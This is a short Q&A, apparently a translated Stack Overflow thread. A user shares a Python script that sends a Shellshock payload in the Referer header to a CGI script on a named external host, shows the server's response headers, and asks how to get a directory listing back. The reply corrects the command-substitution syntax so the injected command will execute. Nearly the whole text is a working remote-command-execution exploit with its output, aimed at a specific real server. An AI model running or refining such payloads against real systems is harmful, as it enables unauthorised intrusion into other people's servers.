我在python中有以下脚本
headers = {'Referer': """() { :;}; y="($ls)";echo 'ls_result: '$y; """}
r = requests.get("http://manticore.2y.net/cgi-bin/dlwct.sh",headers=headers)
和
r.headers
是
{
'x-rdir': '""', 'x-vps': 'yes',
'transfer-encoding': 'chunked',
'server': 'Apache/1.3.29',
'connection': 'close',
'date': 'Thu, 23 Oct 2014 09:13:47 GMT',
'ls_result': '()',
'content-type': 'text/html'
}
当我在标题中传递 y ="(ls)" 时。我在响应标题中得到'ls_result': '(ls)'
。
为什么从我的输入中剥离?
如何在响应头中列出目录?
PS:这是出于教育目的
答案 0 :(得分:2)
执行命令并将其输出分配给变量的语法是:
y="$(ls)"
括号内有$
,它应该在外面。
请注意,如果您没有修补ShellShock漏洞,您的代码将只执行shell命令。